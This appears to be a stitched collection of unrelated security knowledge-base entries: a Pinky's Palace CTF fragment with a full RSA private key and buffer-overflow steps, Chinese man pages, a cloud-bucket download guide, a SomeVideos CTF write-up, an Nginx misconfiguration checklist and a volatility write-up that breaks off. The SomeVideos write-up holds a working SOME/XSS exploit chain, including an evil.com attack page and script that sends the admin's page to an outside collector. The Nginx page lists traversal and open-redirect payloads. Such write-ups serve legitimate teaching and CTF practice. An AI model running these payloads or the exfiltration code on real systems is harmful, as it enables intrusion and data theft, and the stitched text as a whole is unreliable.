TE45VUlPaTlrcFJBbk9seEIzYUQ2RkY0OTRkbE5aaFIvbGtnTTlzMVlPZlJYSWhWbTBaUUNzOHBQ RVZkQQpIeDE4ci8yRUJhV2h6a1p6bGF5ci9xR29vUXBwUkZtbUozajZyeWZCb21RbzUrSDYyVEE3 bUl1d3Qxb1hMNmM2Ci9hNjNGcVBhbmcyVkZqZmNjL3IrNnFFQ2dZQStBenJmSEZLemhXTkNWOWN1 ZGpwMXNNdENPRVlYS0QxaStSd2gKWTZPODUrT2c4aTJSZEI1RWt5dkprdXdwdjhDZjNPUW93Wmlu YnErdkcwZ016c0M5Sk54SXRaNHNTK09PVCtDdwozbHNLeCthc0MyVng3UGlLdDh1RWJVTnZEck9Y eFBqdVJJbU1oWDNZU1EvVUFzQkdSWlhsMDUwVUttb2VUSUtoClNoaU9WUUtCZ1FEc1M0MWltQ3hX Mm1lNTQxdnR3QWFJcFE1bG81T1Z6RDJBOXRlRVBzVTZGMmg2WDdwV1I2SVgKQTlycExXbWJmeEdn SjBNVmh4Q2pwZVlnU0M4VXNkTXpOYTJBcGN3T1dRZWtORTRlTHRPN1p2MlNWRHI2Y0lyYwpIY2NF UCtNR00yZVVmQlBua2FQa2JDUHI3dG5xUGY4ZUpxaVFVa1dWaDJDbll6ZUFIcjVPbUE9PQotLS0t LUVORCBSU0EgUFJJVkFURSBLRVktLS0tLQo= ``` 解码私钥 ``` ┌──(root㉿kali)-[/tmp] └─# cat .ultrasecret | base64 -d -----BEGIN RSA PRIVATE KEY----- MIIEpAIBAAKCAQEA16fxL3/+h/ILTZewkvekhIQ1yk0oLI+y3N4AItkhez11Iha8 Hc7KOx/L9g2jd3H8dGPUfKKr9seqtg97ZKA95S/sb4w3Qtl1ABu/pVKZBbGGsHG/ yIvGEPKS+BSZ4stMW7Hnx7ciMuhwcZwLqZmsySumECTueQswNPblITlrqolpYF8x e47El9pHwewNWcIrmqraxCH5TC7UhjgGaQwmW3qHyrSqp/jK/ctb1ZpnPv+DC833 u/Tyjm6z8RaDZG/gRBIrMGnNbg4pZFhtgbGVOf7feGvBFR8BiT+7VFfO7yEvyBx9 gxrySxu2Z0aOM8QR6MGaDMjYUnB9aTYuw8GP4wIDAQABAoIBAA6iH7SIa94Pp4Kx W1LtqOUxD3FVwPcdHRbtnXa/4wy4w9z3S/Z91K0kYDOnA0OUoXvIVl/Krf6F1+iY rlfKo8iMcu+yxQEtPkoul9eA/k8rl6cbYNcb3OnDfAOHalXAU8MZFFAx9gkcSpz6 6LOucNIJuy/3QZNHFhNR+YRCoDKnFnEILxYL5Wz2qptWMYDuwtmGzO968YbLrOV1 okWN6gMiEi5qprBh5a8wBRQVaBrLYWg8WeXfWfkGzKoxKPFKzhI5j4/EkxLDJqt3 LA7JRxmFn77/mbvaDW8WZX0fOcS8ugyRBEN0VpdnF6kl6tfOXKGj0gd+gAiw0TVR 2CB7PsECgYEA8IW3ZsKtbCkRBtF+VTBq4K46s7ShW9AZ6+bpb+d1NRT5xRJG+Dsz F3cg4N+39nYg8mFwsBhn/szgVBNWZouWrRNrDExH0yu6HOJ7zLWQayUhQJiIPxpc n/Eed6SrcySfzgmntOib4hyGjF0/wntjMc73xuAVNuO8A6WW+hgVHKECgYEA5YiW K2vbVNBqEBCP+xrC5dHOBIEWv89BFIm/Fs/esh8uE5Lnj11eP+1EZh2FK92Qx9Yv y1bMsAkf+ptFUJLck1M20efAaSvOhr5uajnyqCofsSUfKZaa7nPQozepqMKXGMoy MEEeLOw56sJhSp0UdXyaz9FQAmvzSXUnuo1t+gMCgYEAubx42WkCpSC9XkeOyFhg YGsLN9UIOi9kpRAnOlxB3aD6FF494dlNZhR/lkgM9s1YOfRXIhVm0ZQCs8pPEVdA Hx18r/2EBaWhzkZzlayr/qGooQppRFmmJ3j6ryfBomQo5+H62TA7mIuwt1oXL6c6 /a63FqPang2VFjfcc/r+6qECgYA+AzrfHFKzhWNCV9cudjp1sMtCOEYXKD1i+Rwh Y6O85+Og8i2RdB5EkyvJkuwpv8Cf3OQowZinbq+vG0gMzsC9JNxItZ4sS+OOT+Cw 3lsKx+asC2Vx7PiKt8uEbUNvDrOXxPjuRImMhX3YSQ/UAsBGRZXl050UKmoeTIKh ShiOVQKBgQDsS41imCxW2me541vtwAaIpQ5lo5OVzD2A9teEPsU6F2h6X7pWR6IX A9rpLWmbfxGgJ0MVhxCjpeYgSC8UsdMzNa2ApcwOWQekNE4eLtO7Zv2SVDr6cIrc HccEP+MGM2eUfBPnkaPkbCPr7tnqPf8eJqiQUkWVh2CnYzeAHr5OmA== -----END RSA PRIVATE KEY----- ``` 使用私钥进行登录 ``` ┌──(root㉿kali)-[/tmp] └─# ssh -i key pinky@192.168.32.9 -p 64666 Linux pinkys-palace 4.9.0-4-amd64 #1 SMP Debian 4.9.65-3+deb9u1 (2017-12-23) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Fri Feb 2 05:54:01 2018 from 172.19.19.2 pinky@pinkys-palace:~$ ``` 查看当前目录信息 ``` pinky@pinkys-palace:~$ cat note.txt Been working on this program to help me when I need to do administrator tasks sudo is just too hard to configure and I can never remember my root password! Sadly I'm fairly new to C so I was working on my printing skills because Im not sure how to implement shell spawning yet :( pinky@pinkys-palace:~$ ./adminhelper ``` > 当我需要做管理员任务时,我一直在开发这个程序来帮助我。sudo太难配置了,我永远记不住我的根密码!可悲的是,我对C相当陌生,所以我正在学习打印技能,因为我还不确定如何实现shell生成:( 输入100个字符,发现存在缓冲区溢出漏洞 ``` pinky@pinkys-palace:~$ ./adminhelper $(python -c "print('A'*100)") AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Segmentation fault ``` 找到存在缓冲区溢出**偏移量** ``` ┌──(root㉿kali)-[~] └─# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 100 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A ``` ``` pinky@pinkys-palace:~$ gdb -q adminhelper Reading symbols from adminhelper...(no debugging symbols found)...done. (gdb) run Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A Starting program: /home/pinky/adminhelper Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A Program received signal SIGSEGV, Segmentation fault. 0x0000555555554854 in main () ``` ``` pinky@pinkys-palace:~$ gdb -q adminhelper Reading symbols from adminhelper...(no debugging symbols found)...done. (gdb) set disassembly-flavor intel (gdb) info functions All defined functions: Non-debugging symbols: 0x0000000000000618 _init 0x0000000000000640 strcpy@plt 0x0000000000000650 puts@plt 0x0000000000000660 execve@plt 0x0000000000000670 setegid@plt 0x0000000000000680 seteuid@plt 0x00000000000006a0 _start 0x00000000000006d0 deregister_tm_clones 0x0000000000000710 register_tm_clones 0x0000000000000760 __do_global_dtors_aux 0x00000000000007a0 frame_dummy 0x00000000000007d0 spawn 0x0000000000000813 main 0x0000000000000860 __libc_csu_init 0x00000000000008d0 __libc_csu_fini 0x00000000000008d4 _fini (gdb) run Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A Starting program: /home/pinky/adminhelper Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A Program received signal SIGSEGV, Segmentation fault. 0x0000555555554854 in main () ``` ``` (gdb) disassemble spawn Dump of assembler code for function spawn: 0x00005555555547d0 <+0>: push %rbp 0x00005555555547d1 <+1>: mov %rsp,%rbp 0x00005555555547d4 <+4>: sub $0x10,%rsp 0x00005555555547d8 <+8>: movl $0x0,-0x4(%rbp) 0x00005555555547df <+15>: movl $0x0,-0x8(%rbp) 0x00005555555547e6 <+22>: mov -0x4(%rbp),%eax 0x00005555555547e9 <+25>: mov %eax,%edi 0x00005555555547eb <+27>: callq 0x555555554680 <seteuid@plt> 0x00005555555547f0 <+32>: mov -0x8(%rbp),%eax 0x00005555555547f3 <+35>: mov %eax,%edi 0x00005555555547f5 <+37>: callq 0x555555554670 <setegid@plt> 0x00005555555547fa <+42>: mov $0x0,%edx 0x00005555555547ff <+47>: mov $0x0,%esi 0x0000555555554804 <+52>: lea 0xd9(%rip),%rdi # 0x5555555548e4 0x000055555555480b <+59>: callq 0x555555554660 <execve@plt> 0x0000555555554810 <+64>: nop 0x0000555555554811 <+65>: leaveq 0x0000555555554812 <+66>: retq End of assembler dump. ```
sec-knowleage
--- title: 下载存储桶里的对象 --- ## 下载存储桶里的对象 使用以下命令下载存储桶里的对象 ```bash cf alibaba oss obj get ``` 指定存储桶 ```bash cf alibaba oss obj get -b bucketName ``` 指定存储桶以及对象 ```bash cf alibaba oss obj get -b bucketName -k objectName ``` 保存到指定目录 ```bash cf alibaba oss obj get -o ./result ``` 在有些情况下,当前 AK 可能会没有列出 Bucket 的权限,如果你知道 Bucket 的名称,可以使用 `-b` 指定 Bucket ```bash cf alibaba oss ls -b bucket_name ``` 这时可能会碰到没有获取 Bucket 区域的情况,加上 `-r` 参数指定区域即可,例如指定 cn-hangzhou ```bash cf alibaba oss ls -b bucket_name -r cn-hangzhou ``` <Vssue /> <script> export default { mounted () { this.$page.lastUpdated = "2022年10月12日" } } </script>
sec-knowleage
userdel === 用于删除给定的用户以及与用户相关的文件 ## 补充说明 **userdel命令** 用于删除给定的用户,以及与用户相关的文件。若不加选项,则仅删除用户帐号,而不删除相关文件。 ### 语法 ```shell userdel(选项)(参数) ``` ### 选项 ```shell -f:强制删除用户,即使用户当前已登录; -r:删除用户的同时,删除与用户相关的所有文件。 ``` ### 参数 用户名:要删除的用户名。 ### 实例 userdel命令很简单,比如我们现在有个用户linuxde,其家目录位于`/var`目录中,现在我们来删除这个用户: ```shell userdel linuxde # 删除用户linuxde,但不删除其家目录及文件; userdel -r linuxde # 删除用户linuxde,其家目录及文件一并删除; ``` 请不要轻易用`-r`选项;他会删除用户的同时删除用户所有的文件和目录,切记如果用户目录下有重要的文件,在删除前请备份。 其实也有最简单的办法,但这种办法有点不安全,也就是直接在`/etc/passwd`中删除您想要删除用户的记录;但最好不要这样做,`/etc/passwd`是极为重要的文件,可能您一不小心会操作失误。
sec-knowleage
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.29. .TH INSTALL-INFO "1" "June 2003" "install-info 4.6" "User Commands" .SH NAME install-info \- 更新 info/dir 项 .SH "SYNOPSIS 总览" .B install-info [\fIOPTION\fR]... [\fIINFO-FILE \fR[\fIDIR-FILE\fR]] .SH "DESCRIPTION 描述" 从 Info 目录文件 DIR-FILE 中的文件 INFO-FILE 中安装或删除 dir 目录项。 .SH "OPTIONS 选项" .TP \fB\-\-delete\fR 删除 DIR-FILE 中的 INFO-FILE 里已有的项;不插入任何新项。 .TP \fB\-\-dir\-file\fR=\fINAME\fR 指定 Info 目录文件的文件名。这等价于使用 DIR-FILE 参数。 .TP \fB\-\-entry\fR=\fITEXT\fR 插入 TEXT,作为一个 Info 目录项。TEXT 的形式应当是一个 Info 目录项的一行,加上 0 个或多个以空白开始的行。如果指定了超过一项,它们都将被添加。如果不指定任何项,就根据它们的 Info 文件中的信息来判断。 .TP \fB\-\-help\fR 显示此帮助,然后退出。 .TP \fB\-\-info\-file\fR=\fIFILE\fR 指定要安装到目录中的 Info 文件。这等价于使用 INFO-FILE 参数。 .TP \fB\-\-info\-dir\fR=\fIDIR\fR 与 \fB\-\-dir\-file\fR=\fIDIR\fR/dir 相同。 .TP \fB\-\-item\fR=\fITEXT\fR 与 \fB\-\-entry\fR TEXT 相同。一个 Info 目录项实际是一个菜单项。 .TP \fB\-\-quiet\fR 阻止发出警告。 .TP \fB\-\-remove\fR 与 \fB\-\-delete\fR 相同。 .TP \fB\-\-section\fR=\fISEC\fR 将文件中所有项添加到目录的 SEC 段。如果指定了超过一个段,所有项都被添加到每一个段当中。如果不指定任何段,就根据它们的 Info 文件中的信息来判断。 .TP \fB\-\-version\fR 显示版本信息,然后退出。 .SH "REPORTING BUGS 报告错误" 将错误报告发送到 bug-texinfo@gnu.org,一般的问题和讨论则发送到 help-texinfo@gnu.org。 Texinfo 主页: http://www.gnu.org/software/texinfo/ .SH COPYRIGHT Copyright \(co 2003 Free Software Foundation, Inc. There is NO warranty. You may redistribute this software under the terms of the GNU General Public License. For more information about these matters, see the files named COPYING. .SH "SEE ALSO 参见" .B install-info 的全部文档以 Texinfo 手册页形式保存。如果你的主机上正确安装了 .B info 和 .B install-info 程序,命令 .IP .B info install\-info .PP 将使你可以读取完整的手册。
sec-knowleage
# SomeVideos * Category: Web * 400 Points * Solved by the JCTF Team (after the competition) ## Description > A friend of mine called me and said that he wants to share some videos with his family, I told him that I'm working on such platform right now and that he should call me back later. > > Credentials: If not exist, any user you login will be created ## Preface This one is really complicated and really cool. We weren't able to solve it during the competition (only [one team](https://cmdengineer.medium.com/jsonp-some-xss-87b200ef7d02) got it, impressive!). After the competition ended, we got the following resources from the one of the CTF creators (thanks!): * https://vulnerabledoma.in/xss_2020-06/ * http://challenge.benhayak.com/mini_2020/ * https://t.co/P94MqTbnUZ?amp=1 * http://www.benhayak.com/2019/07/blog-post.html * http://solutions.terjanq.me/2020-06-18-ben/index.html They all describe an attack called "Same Origin Method Execution (SOME)" (as hinted in the challenge name). The following solution is heavily based on [this PoC](https://l0.cm/xss_202006/solution.html). ## Solution ### The Website We are given a website which hosts videos. After logging in, we are able to view an featured video, upload videos or view a list of our uploaded videos. In order to upload a video, we need to provide: * A title (max 13 characters, enforced by both client side and server side) * A description (free text) * A URL to the video ('url' type enforced by client side only) Once we upload a video, it receives a UUID and we can then view it via the `view` page by providing its UUID, e.g. `https://somevideos.appsecil.ctf.today/videos/view?id=40c7a01b-836b-45ee-b776-98676eb56cc7`. The `view` page has some interesting Javascript: ```javascript function loadVideo({ success, data }) { if (!success) { alert(`Error - ${data}`); return; } // Hippity hoppity changing some proprieties ʕ•ᴥ•ʔ document.querySelector('#video-title').innerText = data.title; document.querySelector('#video-desc').innerHTML = data.description; document.querySelector('#video-view').src = data.source; } const videoId = new URL(location).searchParams.get('id'); if (videoId) { // Basic jsonp implementation const script = document.createElement('script'); script.src = `/videos/embed?id=${videoId}&callback=loadVideo`; // Delete script from the DOM when failed / successed ['load', 'error'].forEach(e => { script.addEventListener(e, () => script.remove()); }); // We are ready to go, load it ! document.body.appendChild(script); } // TODO: Add a way to call this function // NOTE: Let the admin decide if this video is suitable for public listing // function requestListing() { // fetch(`/videos/listing-request`, { // method: 'POST', // headers: { // 'Content-Type': 'application/x-www-form-urlencoded' // }, // body: new URLSearchParams({ // csrf: 'ELT+o9BwjBfvY4lpXg8SYQzNtlAJP8Fs6POEdTC9ZfA=', // url: window.location // }) // }); // } if (location.hash == '#debug') { console.log('Current anti CSRF token is ELT+o9BwjBfvY4lpXg8SYQzNtlAJP8Fs6POEdTC9ZfA='); // Easy way to display objects within a string Object.prototype.toString = function () { return JSON.stringify(this); }; } ``` We can see that the `videoId` is received from the URL. Using `JSONP`, the video details are fetched, by calling `/videos/embed?id=${videoId}&callback=loadVideo`. The `/videos/embed` JSONP endpoint returns output such as: ```javascript loadVideo({"success":true,"data":{"title":"My Title","description":"My&#x20;Description","source":"https://test-videos.co.uk/vids/bigbuckbunny/mp4/h264/1080/Big_Buck_Bunny_1080_10s_20MB.mp4"}}); ``` Using the JSONP callback (`loadVideo`), the details are then populated in the appropriate HTML elements. Notice that the description is populated by setting `innerHTML`, so if we can enter HTML into the description, we can execute code. However, this is a red herring, since the description field is escaped on the server side and no HTML tags are allowed. This might be a good opportunity to mention that the "title" did allow entering raw `<` and `>` characters, but it was populated using `innerText` so they weren't parsed as HTML. Another interesting observation is the commented-out code, which allows sending to the administrator a URL which he will later visit. This hints towards a client-side attack, where we send the administrator to a page containing a malicious payload and steal some data from him (e.g. his cookie) or execute something on his behalf. During the competition we noticed that we can use HPP (HTTP Parameter Pollution) in order to control the callback called via JSONP. For example, if we send `40c7a01b-836b-45ee-b776-98676eb56cc7%26callback=alert%23#debug` as the video ID, the JSONP script source is interpreted as: ``` /videos/embed?id=40c7a01b-836b-45ee-b776-98676eb56cc7&callback=alert#&callback=loadVideo ``` This translates to: ```javascript alert({"success":true,"data":{"title":"My Title","description":"My&#x20;Description","source":"https://test-videos.co.uk/vids/bigbuckbunny/mp4/h264/1080/Big_Buck_Bunny_1080_10s_20MB.mp4"}}); ``` Which in turn alerts these details on the video page. However, there were some limitations to this ability: * The callback function name was apparently limited to `[a-zA-Z0-9_\.]` * The parameter to the callback was only partially controllable (we could only control the contents of "title", "description" and "source" according to the constraints we've listed above) So, apart from alerting or logging to the console, we couldn't find anything useful to do with the HPP ability. At least, until after the competition, when we read about SOME. ### The Attack We won't go into explaining SOME in depth since it's really out of the scope of this writeup, so before continuing it's recommended to take the time and review [this post](http://www.benhayak.com/2015/06/same-origin-method-execution-some.html) (or any other resource) in order to understanding in general why this attack is possible. High-level overview of our attack: * Smuggle some HTML in chunks via the video title * We'd like to smuggle something like `<script>/*script content*/</script>` * Use `document.write` as the JSONP callback to render the HTML * This will execute the Javascript When passing an object to `document.write`, it calls the object's `toString` in order to translate it to a string. The default implementation will produce `[object Object]`. However, in this case we're lucky and the website contains code to override the default `toString` implementation to `JSON.stringify`: ```javascript if (location.hash == '#debug') { // ... // Easy way to display objects within a string Object.prototype.toString = function () { return JSON.stringify(this); }; } ``` All we need to do in order to utilize this is to append `#debug` to our URL, enabling the website's debug mode. This allows us to write a string such as `{"success":true,"data":{"title":"My Title","description":"My&#x20;Description","source":"https://test-videos.co.uk/vids/bigbuckbunny/mp4/h264/1080/Big_Buck_Bunny_1080_10s_20MB.mp4"}}` instead of writing `[object Object]`. #### 1. Hiding the HTML We create five videos, each one with a different title. The example we'll run with is: | Title | UUID | | ----- | ---- | | `<script>/*` | 48a1e399-be90-4d8b-90ad-6ab397357601 | | `*/eval(/*` | 20489263-0089-4ba6-8a17-d9636bbb2427 | | `*/top[1]/*` | 49b45827-6a3d-41ec-bcd6-6d9b83410221 | | `*/.name)//` | 5a835c81-26f9-427e-ba80-95aecd7d0c03 | | `</script>` | 883fd186-24c8-480d-98b4-0c1e47e72fd2 | #### 2. Collecting the HTML and Rendering it We create an HTML page on our own server (`http://evil.com/some.html`): ```html <iframe src="https://somevideos.appsecil.ctf.today/" name="x" onload="go()"></iframe> <iframe id="y" name="s = document.createElement('script'); s.src='http://evil.com/some.js';document.head.appendChild(s);"></iframe> <script> function loadIframe(uid){ return new Promise(resolve => { y.src = `https://somevideos.appsecil.ctf.today/videos/view?id=${uid}%26callback=top.x.document.write%23#debug`; y.onload = function(){ return resolve(this); } }); } async function go(){ await loadIframe("48a1e399-be90-4d8b-90ad-6ab397357601"); // <script>/* await loadIframe("20489263-0089-4ba6-8a17-d9636bbb2427"); // */eval(/* await loadIframe("49b45827-6a3d-41ec-bcd6-6d9b83410221"); // */top[1]/* await loadIframe("5a835c81-26f9-427e-ba80-95aecd7d0c03"); // */.name)// await loadIframe("883fd186-24c8-480d-98b4-0c1e47e72fd2"); // </script> } </script> ``` When someone visits this page, what will happen is: 1. The `x` iframe will load the target website 2. When the iframe has fully loaded, it will call `go()` 3. `go()` will start smuggling the HTML into the `x` iframe via the `y` iframe. Each time, it will call `top.x.document.write` writing the current JSON object to the DOM. 4. When all the HTML is smuggled to the DOM, we end up with: ```html {"success":true,"data":{"title":"<script>/*","description":"test","source":"https://test-videos.co.uk/vids/bigbuckbunny/mp4/h264/1080/Big_Buck_Bunny_1080_10s_20MB.mp4"}}{"success":true,"data":{"title":"*/eval(/*","description":"test","source":"https://test-videos.co.uk/vids/bigbuckbunny/mp4/h264/1080/Big_Buck_Bunny_1080_10s_20MB.mp4"}}{"success":true,"data":{"title":"*/top[1]/*","description":"test","source":"https://test-videos.co.uk/vids/bigbuckbunny/mp4/h264/1080/Big_Buck_Bunny_1080_10s_20MB.mp4"}}{"success":true,"data":{"title":"*/.name)//","description":"test","source":"https://test-videos.co.uk/vids/bigbuckbunny/mp4/h264/1080/Big_Buck_Bunny_1080_10s_20MB.mp4"}}{"success":true,"data":{"title":"</script>","description":"test","source":"https://test-videos.co.uk/vids/bigbuckbunny/mp4/h264/1080/Big_Buck_Bunny_1080_10s_20MB.mp4"}} ``` 5. This, of course, translates to `<script>eval(top[1].name)</script>`, meaning that we are executing the iframe name as Javascript 6. For our own convenience, the Javascript code hidden in the iframe name just loads another javascript file where we can easily develop our real exploit logic #### 3. The Real Exploit Logic In our case, we'll just fetch the administrators personal `videos` page and send it to our server: ```javascript fetch('https://en71jkw9fg9w2.x.pipedream.net/?loaded') fetch('https://somevideos.appsecil.ctf.today/videos/').then(function (response) { // The API call was successful! return response.text(); }).then(function (html) { // This is the HTML from our response as a text string fetch('https://en71jkw9fg9w2.x.pipedream.net/?videos', { method: 'post', body: html }) }).catch(function (err) { // There was an error fetch('https://en71jkw9fg9w2.x.pipedream.net/?error=' + err) }); ``` #### 4. Luring the Admin We'll just use the commented-out API that we've seen before: ```javascript fetch("/videos/listing-request", { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: new URLSearchParams({ csrf: 'ELT+o9BwjBfvY4lpXg8SYQzNtlAJP8Fs6POEdTC9ZfA=', url: 'http://evil.com/some.html' }) }); ``` #### 5. The Reward After a few seconds, we get a hit on our server with the admin's personal video list: ```html <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>SomeVideos</title> <link rel="stylesheet" href="//cdn.jsdelivr.net/npm/bulma@0.9.1/css/bulma.min.css"> </head> <body> <nav class="navbar is-dark"> <div class="container"> <div class="navbar-brand"><a class="navbar-item" href="/">SomeVideos</a><a class="navbar-burger burger" data-target="#navbar-nain"><span></span><span></span><span></span></a></div> <div class="navbar-menu" id="navbar-nain"> <div class="navbar-end"> <div class="navbar-item has-dropdown is-hoverable"><a class="navbar-link">admin</a> <div class="navbar-dropdown"><a class="navbar-item" href="/videos">Your videos</a> <hr class="navbar-divider"> <div class="navbar-item"> <form action="/logout" method="POST"> <input type="hidden" name="csrf" value="mRoLB/WcyGN6xCBOyOXOus1Y8ZyeFI7E+NeE6AdK2LI="> <div class="field"> <button class="button is-danger" href="/logout">Logout</button> </div> </form> </div> </div> </div> </div> </div> </div> </nav> <section class="section"> <div class="container"> <div class="columns is-multiline"> <div class="column is-full"> <section class="hero is-info"> <div class="hero-body"> <div class="container"> <h1 class="title">Your videos</h1> </div> </div> </section> </div> <div class="column is-3"> <div class="card"> <header class="card-header"> <p class="card-header-title">Not The Flag</p> </header> <div class="card-content"> <div class="content">AppSec-IL{00p5_un3xp3c73d_54m3_0r161n_m37h0d_3x3cu710n}</div> </div> <footer class="card-footer"><a class="card-footer-item" href="/videos/view?id=26f82b25-315c-45d4-98bb-add7ddd0be45">View</a></footer> </div> </div> <div class="column is-3"> <div class="card"> <header class="card-header"> <p class="card-header-title">Big Buk Bunny</p> </header> <div class="card-content"> <div class="content">A large and lovable rabbit deals with three tiny bullies, led by a flying squirrel, who are determined to squelch his happiness.</div> </div> <footer class="card-footer"><a class="card-footer-item" href="/videos/view?id=a5ba7665-61a7-4461-9884-7567c07cbacd">View</a></footer> </div> </div> <div class="column is-full"> <div class="card"> <div class="card-header"> <p class="card-header-title">Add new</p> </div> <div class="card-content"> <form action="/videos" method="POST"> <input class="input" type="hidden" name="csrf" value="mRoLB/WcyGN6xCBOyOXOus1Y8ZyeFI7E+NeE6AdK2LI="> <div class="field"> <div class="control"> <input class="input" type="text" name="title" placeholder="Title" maxlength="13"> </div> </div> <div class="field"> <div class="control"> <textarea class="textarea" name="description" placeholder="Description"></textarea> </div> </div> <div class="field"> <div class="control"> <input class="input" type="url" name="source" placeholder="Source"> </div> </div> <div class="field"> <button class="button is-info is-fullwidth">Add</button> </div> </form> </div> </div> </div> </div> </div> </section> <script> // Some JavaScript magic related to burgers 🍔 document.querySelectorAll('.navbar-burger').forEach(el => { el.addEventListener('click', () => { const { target } = el.dataset; el.classList.toggle('is-active'); document.querySelector(target).classList.toggle('is-active'); }); }); </script> </body> </html> ``` The flag: `AppSec-IL{00p5_un3xp3c73d_54m3_0r161n_m37h0d_3x3cu710n}`. Really complicated and really cool, right?
sec-knowleage
# Nginx Common Bugs ## Introduction What would you do if you came across a website that uses Nginx? ## How to Detect Usually in the HTTP response there is a header like this `Server: nginx` 1. Find the related CVE by checking nginx version * How to find the nginx version By checking the response header or using 404 page, sometimes the version is printed there. If you found outdated nginx version, find the CVEs at [CVE Details](https://www.cvedetails.com/vulnerability-list/vendor_id-315/product_id-101578/F5-Nginx.html) 2. Directory traversal ``` https://example.com/folder1../folder1/folder2/static/main.css https://example.com/folder1../%s/folder2/static/main.css https://example.com/folder1/folder2../folder2/static/main.css https://example.com/folder1/folder2../%s/static/main.css https://example.com/folder1/folder2/static../static/main.css https://example.com/folder1/folder2/static../%s/main.css ``` 3. Open redirect This is because of misconfiguration ``` https://example.com/%5cevil.com https://example.com////\;@evil.com https://example.com////evil.com https://example.com///evil.com https://example.com///evil.com/%2f%2e%2e https://example.com///evil.com@// https://example.com///{{RootURL}}evil.com/%2f%2e%2e https://example.com//;@evil.com https://example.com//\/evil.com/ https://example.com//\@evil.com https://example.com//\evil.com https://example.com//\tevil.com/ https://example.com//evil.com/%2F.. https://example.com//evil.com// https://example.com//evil.com@// https://example.com//evil.com\tevil.com/ https://example.com//https://evil.com@// https://example.com/<>//evil.com https://example.com/\/\/evil.com/ https://example.com/\/evil.com https://example.com/\evil.com https://example.com/evil.com https://example.com/evil.com/%2F.. https://example.com/evil.com/ https://example.com/evil.com/..;/css https://example.com/https:evil.com ``` 4. Nginx status page ``` https://example.com/nginx_status ``` ## References - [Detectify](https://blog.detectify.com/2020/11/10/common-nginx-misconfigurations/)
sec-knowleage
# Forensic Tea Party * Category: Forensics, Reverse Engineering * 400 Points * Solved by the JCTF Team ## Description > Analyze the memory dump to find any suspicious processes and find the flag. A memory dump was attached. ## Solution Let's start analyzing our memory dump using `volatility`. We start by extracting the process tree: ```console ┌──(user@kali)-[~/CTFs/intent/FTP] └─$ alias vol="python3 ~/utils/forensics/volatility3/vol.py" ┌──(user@kali)-[~/CTFs/intent/FTP] └─$ export memdump=/media/sf_CTFs/intent/Forensic_Tea_Party/Windows10x64_AliceInWonderland-b4365e16.vmem/Windows10x64_AliceInWonderland-b4365e16.vmem ┌──(user@kali)-[~/CTFs/intent/FTP] └─$ vol -f $memdump windows.pstree Volatility 3 Framework 2.4.1 Progress: 100.00 PDB scanning finished PID PPID ImageFileName Offset(V) Threads Handles SessionId Wow64 CreateTime ExitTime 4 0 System 0xa08ce048c440 123 - N/A False 2022-09-02 22:01:11.000000 N/A * 280 4 smss.exe 0xa08ce1772040 3 - N/A False 2022-09-02 22:01:11.000000 N/A ** 476 280 smss.exe 0xa08ce1bb4580 0 - 1 False 2022-09-02 22:01:12.000000 2022-09-02 22:01:12.000000 *** 576 476 winlogon.exe 0xa08ce1ae6480 6 - 1 False 2022-09-02 22:01:12.000000 N/A **** 760 576 fontdrvhost.ex 0xa08ce1a46080 5 - 1 False 2022-09-02 22:01:13.000000 N/A **** 2460 576 userinit.exe 0xa08ce284b340 0 - 1 False 2022-09-02 22:01:15.000000 2022-09-02 22:01:37.000000 ***** 2700 2460 explorer.exe 0xa08ce2853580 77 - 1 False 2022-09-02 22:01:15.000000 N/A ****** 3232 2700 MSASCuiL.exe 0xa08ce2db8580 4 - 1 False 2022-09-02 22:01:29.000000 N/A ****** 5912 2700 vmtoolsd.exe 0xa08ce304e080 8 - 1 False 2022-09-02 22:01:29.000000 N/A ****** 4484 2700 TeaParty.exe 0xa08ce26aa080 9 - 1 True 2022-09-02 22:26:18.000000 N/A ****** 6100 2700 OneDrive.exe 0xa08ce2eb1080 23 - 1 False 2022-09-02 22:01:31.000000 N/A ******* 6164 6100 Microsoft.Shar 0xa08ce30c1580 0 - 1 False 2022-09-02 22:01:32.000000 2022-09-02 22:01:43.000000 **** 960 576 dwm.exe 0xa08ce20d4080 11 - 1 False 2022-09-02 